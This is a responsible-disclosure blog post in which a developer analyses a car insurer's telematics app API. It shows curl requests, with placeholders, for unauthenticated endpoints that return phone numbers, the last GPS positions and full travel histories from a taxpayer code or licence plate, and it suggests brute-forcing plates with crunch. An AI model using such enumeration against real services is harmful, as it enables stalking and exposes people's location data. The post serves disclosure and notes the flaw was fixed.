How my car insurance exposed my position

As many car insurances companies do, my car insurance company provides a satellite device that can be put inside your car to provide its location at any time in any place.

By installing such device in your car, the car insurance profiles your conduct, of course, but it could also help the police in finding your car if it gets stolen and you will probably get a nice discount over the insurance price (even up to 40%!). Long story short: I got one.

Often such companies also provide an “App” for smartphones to easily track your car when you are away or to monitor your partner…mine (the company!) does.

Then I downloaded my company’s application for Android, but unluckily it needs the Google Play Services to run. I am a FOSS evangelist and, as such, I try to use FOSS apps only and without gapps.

Luckily I’m also a developer and, as such, I try to develop the applications I need most; using mitmproxy, I started to analyze the APIs used by the App to write my own client.

Authentication

As soon as the App starts you need to authenticate yourself to enable the buttons that allow you to track your car. Fair enough.

The authentication form first asks for your taxpayer’s code; I put mine and under the hood it performs the following request:

curl -X POST -d 'BLUCS§<taxpayers_code>§-1' http://<domain>/BICServices/BICService.svc/restpostcheckpicf<company>

The Web service replies with a cell phone number (WTF?):

2§<international_calling_code>§<cell_phone_number>§-1

Wait. What do we already see here? Yes, besides the ugliest formatting ever and the fact the request uses plain HTTP, it takes only 3 arguments to get a cell phone number? And guess what? The first one and the latter are two constants. In fact, if we put an inexistent taxpayer’s code, by keeping the same values, we get:

-1§<international_calling_code>§§-100%

…otherwise we get a cell phone number for the given taxpayer’s code!

I hit my head and I continued the authentication flow.

After that, the App asks me to confirm the cell phone number it got is still valid, but it also wants the password I got via mail when subscribing the car insurance; OK let’s proceed:

curl -X POST -d 'BLUCS§<taxpayers_code>§<device_imei>§<android_id>§<device_brand>-<device_model>_unknown-<api_platform>-<os_version>-<device_code>§<cell_phone_number>§2§<password>§§-1' http://<domain>/BICServices/BICService.svc/restpostsmartphoneactivation<company>

The Web service responds with:

0§<some_code>§<my_full_name>

The some_code parameter changes everytime, so it seems to work as a “registration id”, but after this step the App unlocked the button to track my car.

I was already astonished at this point: how the authentication will work? Does it need this some_code in combination with my password at reach request? Or maybe it will ask for my taxpayer code?

Car tracking

I start implementing the car tracking feature, which allows to retrieve the last 20 positions of your car, so let’s analyze the request made by the App:

curl -X POST -d 'ASS_NEW§<car_license>§2§-1' http://<domain>/BICServices/BICService.svc/restpostlastnpositions<company>

The Web service responds with:

0§20§<another_code>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>§DD/MM/YYYY HH:mm:SS#<latitude>#<longitude>#0#1#1#1-<country>-<state>-<city>-<street>

WTH?!? No header?!? No cookie?!? No authentication parameters?!?

Yes, your assumption is right: you just need a car license and you get its last 20 positions. And what’s that another_code? I just write it down for the moment.

It couldn’t be real, I first thought (hoped) they stored my IP somewhere so I’m authorized to get this data now, so let’s try from a VPN…oh damn, it worked.

Then I tried with an inexistent car license and I got:

-2§TARGA NON ASSOCIATA%

which means: “that car license is not in our database”.

So what we could get here with the help of crunch? Easy enough: a list of car licenses that are covered by this company and last 20 positions for each one.

I couldn’t stop now.

The Web client

This car insurance company also provides a Web client which permits more operations, so I logged into to analyze its requests and while it’s hosted on a different domain, and it also uses a cookie for almost any request, it performs one single request to the domain I previously used. Which isn’t authenticated and got my attention:

curl http://<domain>/<company>/(S(<uuid>))/NewRemoteAuthentication.aspx?RUOLO=CL&ID=<another_code>&TARGA=<car_license>&CONTRATTO=<foo>&VOUCHER=<bar>

This one replies with an HTML page that is shown in the Web client:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
<HEAD>
    <title>NewRemoteAuthentication</title>
    <meta name="GENERATOR" Content="Microsoft Visual Studio .NET 7.1" />
    <meta name="CODE_LANGUAGE" Content="C#" />
    <meta name="vs_defaultClientScript" content="JavaScript"/>
    <meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie7" />
        <!--<meta content="IE=EmulateIE10" name="ie_compatibility" http-equiv="X-UA-Compatible" />-->
        <meta name="ie_compatibility" http-equiv="X-UA-Compatible" content="IE=7, IE=8, IE=EmulateIE9, IE=10, IE=11" />
</HEAD>
    <body>
    <form name="Form1" method="post" action="/<company>/(S(<uuid>))/NewRemoteAuthentication.aspx?RUOLO=CL&amp;ID=<another_code>&amp;TARGA=<car_license>" id="Form1">
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwULLTIwNzEwODIsJFNAgEPKAJDIeBsdSpc2libGVnZGRic5McHC9+DqRx0H+jRt5O+/PLtw==" />

            <iframe id="frm1" src="NewRicerca.aspx" width="100%" height="100%"></iframe>


<SCRIPT language="JavaScript">
<!--
self.close
// -->
</SCRIPT>
</form>
</body>
</HTML>

It includes an iframe (sigh!), but that’s the interesting part!!! Look:

Car history

From that page you get:

  • the full name of the person that has subscribed the insurance;
  • the car model and brand;
  • the total amount of kilometers made by the car;
  • the total amount of travels (meant as “car is moving”) made by the car;
  • access to months travels details (how many travels);
  • access to day travels details (latitude, longitude, date and time);
  • access to months statistics (how often you use your car).

Car month history Car day history Car month_statistics

There are a lot of informations here and these statistics are available since the installation of the satellite device.

The request isn’t authenticated so I just have to understand the parameters to fill in. Often not all parameters are required and then I tried by removing someone to find out which are really needed. It turns out that I can simplify that as:

curl http://<domain>/<company>/(S(<uuid>))/NewRemoteAuthentication.aspx?RUOLO=CL&ID=<another_code>&TARGA=<car_license>

But there’s still a another_code there…mmm, wait it looks like the number I took down previously! And yes, it’s!

So, http://<domain>/<company>/(S(<uuid>))/NewRicerca.aspx is the page that really shows all the informations, but how do I generate that uuid thing?

I tried by removing it first and then I got an empty page. Sure, makes sense, how that page will ever know which data I’m looking for?

Then it must be the NewRemoteAuthentication.aspx page that does something; I tried again by removing the uuid from that url and to my full surprise it redirected me to the same url, but it also filled the uuid part as path parameter! Now I can finally invoke the NewRicerca.aspx using that uuid and read all the data!

Conclusion

You just need a car license which is covered by this company to get all the travels made by that car, the full name of the person owning it and its position in real time.

I reported this privacy flaw to the CERT Nazionale which wrote to the company.

The company fixed the leak 3 weeks later by providing new Web services endpoints that use authenticated calls. The company mailed its users saying them to update their App as soon as possible. The old Web services have been shutdown after 1 month and half since my first contact with the CERT Nazionale.

I got no bounty.

The company is a leading provider of telematics solutions.

Tags: responsible disclosure

By Andrea Scarpino on 2017-05-11